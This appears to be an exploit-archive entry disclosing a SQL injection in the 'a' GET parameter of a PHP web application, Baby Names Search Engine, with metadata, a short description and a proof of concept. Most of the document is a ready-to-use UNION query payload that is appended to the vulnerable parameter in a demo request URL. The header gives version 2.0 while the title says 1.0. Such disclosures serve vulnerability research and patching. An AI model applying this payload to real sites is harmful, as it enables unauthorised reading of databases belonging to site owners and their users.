Baby Names Search Engine 1.0 - 'a' SQL Injection

Author: AkkuS
type: webapps
platform: php
port: 
date_added: 2018-05-27 
date_updated: 2018-05-27 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: Baby Names Search Engine v1.0 - 'a' SQL Injection
# Dork: N/A
# Date: 27.05.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor: MediaGeni
# Vendor Homepage:
https://codecanyon.net/item/baby-names-search-engine/11864316
# Version: 2.0
# Category: Webapps
# Tested on: Kali linux
# Description : The vulnerability allows an attacker to inject sql commands
from search section with 'a' parameter.
====================================================

# PoC : SQLi :

Parameter: a (GET)

    Type: UNION query
    Demo:
http://www.site.com/index.php?q=test&M=true&F=true&a=Turkish&type=3
    Title: Generic UNION query (NULL) - 4 columns
    Payload: q=test&M=true&F=true&a=Turkish' UNION ALL SELECT
NULL,CONCAT(CONCAT('qzjqq','syfofZIoCuhULUBWOuONCiDLDFbwXYyhSdAJvCBU'),'qbzxq'),NULL,NULL--
ZYcF&type=3

====================================================